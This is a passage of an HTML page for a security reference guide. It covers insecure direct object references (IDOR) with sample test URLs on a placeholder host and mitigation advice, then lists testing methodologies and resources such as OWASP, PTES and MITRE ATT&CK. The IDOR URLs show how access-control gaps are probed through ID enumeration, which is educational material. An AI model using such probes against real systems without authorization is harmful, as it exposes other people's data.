            <!-- IDOR -->
            <div class="vulnerability-card mb-12 bg-black-800 rounded-lg border border-gray-700 p-6">
                <div class="flex items-center mb-4">
                    <div class="w-4 h-4 bg-orange-500 rounded-full mr-3"></div>
                    <h3 class="text-2xl font-bold text-white">Insecure Direct Object References (IDOR)</h3>
                    <span class="ml-auto bg-orange-500 text-white px-3 py-1 rounded-full text-sm font-semibold">High</span>
                </div>
                <p class="text-gray-300 mb-6">
                    IDOR vulnerabilities occur when applications expose internal object references without proper access control, allowing attackers to access unauthorized resources.
                </p>
                <div class="grid md:grid-cols-2 gap-6">
                    <div>
                        <h4 class="text-lg font-semibold text-accent-500 mb-3">Common Test Cases:</h4>
                        <div class="code-block p-4 rounded-lg overflow-x-auto">
                            <pre><code class="text-green-400 text-sm">http://foo.bar/viewuser?id=1
http://foo.bar/api/v1/users/12345/profile
http://foo.bar/download?file=invoice_12345.pdf
http://foo.bar/admin/edit_user?id=ADMIN_001
http://foo.bar/analytics/report?company_id=COMP_1234</code></pre>
                        </div>
                    </div>
                    <div>
                        <h4 class="text-lg font-semibold text-accent-500 mb-3">Mitigation Strategies:</h4>
                        <ul class="space-y-2 text-gray-300">
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Implement proper access control checks
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use indirect object references instead of direct ones
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Validate user permissions for each resource access
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Implement rate limiting to prevent enumeration
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Use UUIDs or random identifiers instead of sequential IDs
                            </li>
                            <li class="flex items-start">
                                <i data-feather="check" class="w-4 h-4 text-green-500 mr-2 mt-1 flex-shrink-0"></i>
                                Implement proper authentication and authorization
                            </li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <!-- Methodologies Section -->
    <section id="methodologies" class="py-16 bg-black-800">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="text-center mb-12">
                <h2 class="text-3xl md:text-4xl font-bold text-white mb-4">Testing Methodologies</h2>
                <div class="w-24 h-1 bg-accent-500 mx-auto"></div>
            </div>
            <div class="grid md:grid-cols-3 gap-8">
                <div class="bg-black-900 p-6 rounded-lg border border-gray-700">
                    <div class="flex items-center mb-4">
                        <i data-feather="book" class="w-8 h-8 text-accent-500 mr-3"></i>
                        <h3 class="text-xl font-semibold text-white">OWASP Testing Guide</h3>
                    </div>
                    <p class="text-gray-300 mb-4">
                        Comprehensive testing framework covering all aspects of web application security testing.
                    </p>
                    <ul class="space-y-2 text-gray-300">
                        <li class="flex items-center">
                            <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
                            Information Gathering
                        </li>
                        <li class="flex items-center">
                            <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
                            Authentication Testing
                        </li>
                        <li class="flex items-center">
                            <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
                            Session Management Testing
                        </li>
                        <li class="flex items-center">
                            <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
                            Input Validation Testing
                        </li>
                        <li class="flex items-center">
                            <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
                            Error Handling Testing
                        </li>
                    </ul>
                </div>
                <div class="bg-black-900 p-6 rounded-lg border border-gray-700">
                    <div class="flex items-center mb-4">
                        <i data-feather="target" class="w-8 h-8 text-accent-500 mr-3"></i>
                        <h3 class="text-xl font-semibold text-white">Penetration Testing Methodology</h3>
                    </div>
                    <p class="text-gray-300 mb-4">
                        Systematic approach to security testing with clear phases and objectives.
                    </p>
                    <ul class="space-y-2 text-gray-300">
                        <li class="flex items-center">
                            <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
                            Planning and Reconnaissance
                        </li>
                        <li class="flex items-center">
                            <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
                            Scanning and Enumeration
                        </li>
                        <li class="flex items-center">
                            <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
                            Vulnerability Analysis
                        </li>
                        <li class="flex items-center">
                            <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
                            Exploitation
                        </li>
                        <li class="flex items-center">
                            <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
                            Reporting and Documentation
                        </li>
                    </ul>
                </div>
                <div class="bg-black-900 p-6 rounded-lg border border-gray-700">
                    <div class="flex items-center mb-4">
                        <i data-feather="settings" class="w-8 h-8 text-accent-500 mr-3"></i>
                        <h3 class="text-xl font-semibold text-white">DevSecOps Integration</h3>
                    </div>
                    <p class="text-gray-300 mb-4">
                        Integrating security testing into the development lifecycle.
                    </p>
                    <ul class="space-y-2 text-gray-300">
                        <li class="flex items-center">
                            <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
                            Static Application Security Testing (SAST)
                        </li>
                        <li class="flex items-center">
                            <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
                            Dynamic Application Security Testing (DAST)
                        </li>
                        <li class="flex items-center">
                            <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
                            Interactive Application Security Testing (IAST)
                        </li>
                        <li class="flex items-center">
                            <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
                            Software Composition Analysis (SCA)
                        </li>
                        <li class="flex items-center">
                            <i data-feather="check" class="w-4 h-4 text-green-500 mr-2"></i>
                            Container Security Scanning
                        </li>
                    </ul>
                </div>
            </div>
        </div>
    </section>

    <!-- Resources Section -->
    <section id="resources" class="py-16 bg-black-900">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="text-center mb-12">
                <h2 class="text-3xl md:text-4xl font-bold text-white mb-4">Additional Resources</h2>
                <div class="w-24 h-1 bg-accent-500 mx-auto"></div>
            </div>
            <div class="grid md:grid-cols-2 lg:grid-cols-3 gap-8">
                <div class="bg-black-800 p-6 rounded-lg border border-gray-700">
                    <div class="flex items-center mb-4">
                        <i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
                        <h3 class="text-lg font-semibold text-white">OWASP Foundation</h3>
                    </div>
                    <p class="text-gray-300">Official OWASP resources and documentation</p>
                </div>
                <div class="bg-black-800 p-6 rounded-lg border border-gray-700">
                    <div class="flex items-center mb-4">
                        <i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
                        <h3 class="text-lg font-semibold text-white">NIST Cybersecurity Framework</h3>
                    </div>
                    <p class="text-gray-300">National standards for cybersecurity</p>
                </div>
                <div class="bg-black-800 p-6 rounded-lg border border-gray-700">
                    <div class="flex items-center mb-4">
                        <i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
                        <h3 class="text-lg font-semibold text-white">SANS Institute</h3>
                    </div>
                    <p class="text-gray-300">Security training and certification resources</p>
                </div>
                <div class="bg-black-800 p-6 rounded-lg border border-gray-700">
                    <div class="flex items-center mb-4">
                        <i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
                        <h3 class="text-lg font-semibold text-white">CWE/SANS Top 25</h3>
                    </div>
                    <p class="text-gray-300">Most dangerous software weaknesses</p>
                </div>
                <div class="bg-black-800 p-6 rounded-lg border border-gray-700">
                    <div class="flex items-center mb-4">
                        <i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
                        <h3 class="text-lg font-semibold text-white">PTES Standards</h3>
                    </div>
                    <p class="text-gray-300">Penetration Testing Execution Standard</p>
                </div>
                <div class="bg-black-800 p-6 rounded-lg border border-gray-700">
                    <div class="flex items-center mb-4">
                        <i data-feather="external-link" class="w-6 h-6 text-accent-500 mr-3"></i>
                        <h3 class="text-lg font-semibold text-white">MITRE ATT&CK</h3>
                    </div>
                    <p class="text-gray-300">Adversarial tactics and techniques knowledge base</p>
                </div>
            </div>
        </div>
    </section>

    <!-- Footer -->
    <footer class="bg-black-800 border-t border-gray-700 py-8">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="text-center">
                <div class="flex items-center justify-center mb-4">
                    <i data-feather="shield" class="w-6 h-6 text-accent-500 mr-2"></i>
                    <span class="text-lg font-semibold text-white">Security Reference Guide</span>
                </div>
                <p class="text-gray-400 mb-4">
                    This reference guide is intended for authorized security testing and educational purposes only.
                </p>
                <p class="text-gray-500 text-sm">
                    © 2025 Professional Security Reference. All rights reserved. Use responsibly.
                </p>
            </div>
        </div>
    </footer>

    <!-- Back to top button -->
    <button id="back-to-top" class="fixed bottom-8 right-8 bg-accent-500 text-white p-3 rounded-full shadow-lg hover:bg-accent-600 transition-colors opacity-0 invisible">
        <i data-feather="arrow-up" class="w-6 h-6"></i>
    </button>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/components/prism-core.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/plugins/autoloader/prism-autoloader.min.js"></script>
    <script src="script.js"></script>
<script src="https://huggingface.co/deepsite/deepsite-badge.js"></script>
</body>
</html>